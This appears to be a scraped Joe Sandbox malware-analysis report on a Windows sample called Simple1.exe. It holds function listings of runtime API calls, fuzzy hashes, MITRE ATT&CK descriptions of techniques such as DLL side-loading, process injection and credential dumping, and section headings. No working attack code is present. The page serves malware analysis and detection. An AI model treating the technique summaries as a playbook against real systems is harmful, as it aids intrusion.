memcpy.VCRUNTIME140(?,?,?,00007FF71E3957DE), ref: 00007FF71E39AE29
memcpy.VCRUNTIME140(?,?,?,00007FF71E3957DE), ref: 00007FF71E39AE47
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39AE6A

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 2b8c79cdb3266eb39cf5aa1dd2f2519663dc420ae3e69cc0fff0188470da729c
Instruction ID: 04817e69839ade4c57ba11c01a7abe2ee86112715fa8257a71efbf6185329f72
Opcode Fuzzy Hash: 2b8c79cdb3266eb39cf5aa1dd2f2519663dc420ae3e69cc0fff0188470da729c
Instruction Fuzzy Hash: BA519E22E08F8591EA14BF25D40426CA3A0FB55BA8F944B3ADE2D133C5DF38F59AC350

Function 00007FF71E3984B0 Relevance: 7.6, APIs: 5, Instructions: 126COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF71E398E38), ref: 00007FF71E398580

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

Part of subcall function 00007FF71E391310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF71E39131B

memcpy.VCRUNTIME140(?,?,?,00007FF71E398E38), ref: 00007FF71E3985A1
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E3985BC

Part of subcall function 00007FF71E391270: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF71E39B543), ref: 00007FF71E3912B4

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF71E398E38), ref: 00007FF71E398625
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF71E398E38), ref: 00007FF71E39862E

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ios@??1?$basic_iostream@Concurrency::cancel_current_taskXlength_error@std@@__std_exception_copy_invalid_parameter_noinfo_noreturnmallocmemcpy
String ID:
API String ID: 2733788171-0
Opcode ID: e28755828890e6c912199f3192cdbd6f9bad720a5d8a0c03b427355e0768411d
Instruction ID: fe4b7ceff90428e5e760131081820c04c1356401f23c73b5abdb6e437b24637a
Opcode Fuzzy Hash: e28755828890e6c912199f3192cdbd6f9bad720a5d8a0c03b427355e0768411d
Instruction Fuzzy Hash: F741E632B05F4681EB54AB25E4403B8A3A0EB44BB4F948639DB6D037D6DF38E8D9C710

Function 00007FF71E397A10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E397C03

Strings

, xrefs: 00007FF71E397A93

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-3916222277
Opcode ID: a1ece21511878a53d831423d5df3da6f5655f9674703bd69ed9d5c1f4223082c
Instruction ID: 3fdd2965847f1283a963a29b21f1be94a0994a7979a494b529e0babf5e311a1d
Opcode Fuzzy Hash: a1ece21511878a53d831423d5df3da6f5655f9674703bd69ed9d5c1f4223082c
Instruction Fuzzy Hash: 9F515D72608F4596EB169F2AD45426C73A0FB48BA4F94453ADF5E47BE4CF38E0A5C310

Function 00007FF71E39CF76 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00007FF71E39CFAB
__current_exception_context.VCRUNTIME140 ref: 00007FF71E39CFBF
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39CFC7

Strings

csm, xrefs: 00007FF71E39CF97

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction ID: 3ed8f9903066ef9f52332a1af90e466f8319d0b0e0d759da32756cef6fb63506
Opcode Fuzzy Hash: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction Fuzzy Hash: AFF01737605F44CAD719AF21E8811AC7364FB8CBA8B8A5134FA4E47B55CF38E894C350

Function 00007FF71E3996C0 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF71E3996F0
memcpy.VCRUNTIME140 ref: 00007FF71E3997B2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E399805
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E399812

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: fb9d2bdb648af42fefb7d3d35d54711275bd13974947691adb6822c34bd07723
Instruction ID: 6f485f1b893f81ec382453932d205a6fc3886700c76b130977b22272e265c44d
Opcode Fuzzy Hash: fb9d2bdb648af42fefb7d3d35d54711275bd13974947691adb6822c34bd07723
Instruction Fuzzy Hash: 2B31BF62B09E4688FE15BF56A5003B992A19B04FF4F984639CA2D07BD5DF3DF489C320

Function 00007FF71E39A570 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39A6CB

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 3d20d57a787e7cc7e4267bc87cdaf85bd6203bd7aad9f80573a740d7d8076353
Instruction ID: 77284a0eff426f9bd6d2d1f5d73687515b74b3083fc40670cf98a47b7d88d117
Opcode Fuzzy Hash: 3d20d57a787e7cc7e4267bc87cdaf85bd6203bd7aad9f80573a740d7d8076353
Instruction Fuzzy Hash: DE21D811B18A9A59ED183A7B49054A696616F25FF0E794B38EE3C17BD2DF2CF4078220

Function 00007FF71E397330 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed82e02baa9a700fae8dd61e3f5e5d4e6d578d09e70afdffe5bad35c6b6e123
Instruction ID: 4bb8c94d2e3c7f30650ffd7ecc83a4787ac86ecfc7fe4a062c43a3fb7a4663e0
Opcode Fuzzy Hash: fed82e02baa9a700fae8dd61e3f5e5d4e6d578d09e70afdffe5bad35c6b6e123
Instruction Fuzzy Hash: FC516332608E8285DB119F29E4503ADB7A4FB84BA4F94423AEA9D837D8DF3CD448C750

Function 00007FF71E399E30 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00007FF71E395133), ref: 00007FF71E399F3A

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF71E395133), ref: 00007FF71E399F65
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF71E395133), ref: 00007FF71E399F75
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E399FA9

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: fead59cf91176764882eea427c2a42ff201302449ae88b393c1fe2f54dd12570
Instruction ID: 79e479b198276dba445427422b2338f41455b77275f9bd4528b95c81786d22e2
Opcode Fuzzy Hash: fead59cf91176764882eea427c2a42ff201302449ae88b393c1fe2f54dd12570
Instruction Fuzzy Hash: 5941B722B19E4291EA10EB129444269A3A4FB44BF1F994739EE7E477C4EF3CE489C310

Function 00007FF71E398280 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF71E3982EA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E398370
memcpy.VCRUNTIME140 ref: 00007FF71E398396
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E3983BA

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 026ef5e54fd43f4e89d52efecd4f8820d3e46297275fb0fcc80e4699443208a0
Instruction ID: 66f400e6995c56af33931330ba65e09e8cd6816bec0af25bd5c58f705c29869d
Opcode Fuzzy Hash: 026ef5e54fd43f4e89d52efecd4f8820d3e46297275fb0fcc80e4699443208a0
Instruction Fuzzy Hash: 2231C422A0AF42D1EA14BB16A44027DE2A5EB45BB0F940B38DE7E077D0DF3CF4968350

Function 00007FF71E39A0C0 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF71E39A0F8
memcpy.VCRUNTIME140 ref: 00007FF71E39A198
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39A1B6

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task
String ID:
API String ID: 326894585-0
Opcode ID: b64a975be9c4b282e7f0182c7e8225502916e0377c6f8446b38c6363c047ee1a
Instruction ID: 8dd39806b343da04ede8558eb03979c7ddfda02506d4aff16319261ce57677db
Opcode Fuzzy Hash: b64a975be9c4b282e7f0182c7e8225502916e0377c6f8446b38c6363c047ee1a
Instruction Fuzzy Hash: 4521D822A09F4649EE14BB16A4403B9A290AB057B4F940B38DE6D077D6DF7CF5868310

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Simple1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
Simple1.exe

Function 00007FF71E395D80 Relevance: 74.2, APIs: 27, Strings: 15, Instructions: 687
COMMON

Function 00007FF71E395510 Relevance: 58.2, APIs: 16, Strings: 17, Instructions: 470
COMMON

Function 00007FF71E394A40 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 224
registryCOMMON

Function 00007FF71E394E50 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Function 00007FF71E394640 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 246
COMMON

Function 00007FF71E393780 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 194
COMMON

Function 00007FF71E393AA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 139
COMMON

Function 00007FF71E393560 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 106
COMMON

Function 00007FF71E393CD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 161
COMMON

Function 00007FF71E391820 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 202
COMMON

Function 00007FF71E3989E0 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Function 00007FF71E394390 Relevance: 13.7, APIs: 9, Instructions: 164
COMMON

Function 00007FF71E399C10 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Function 00007FF71E3999F0 Relevance: 13.6, APIs: 9, Instructions: 136
COMMON

Function 00007FF71E39B080 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON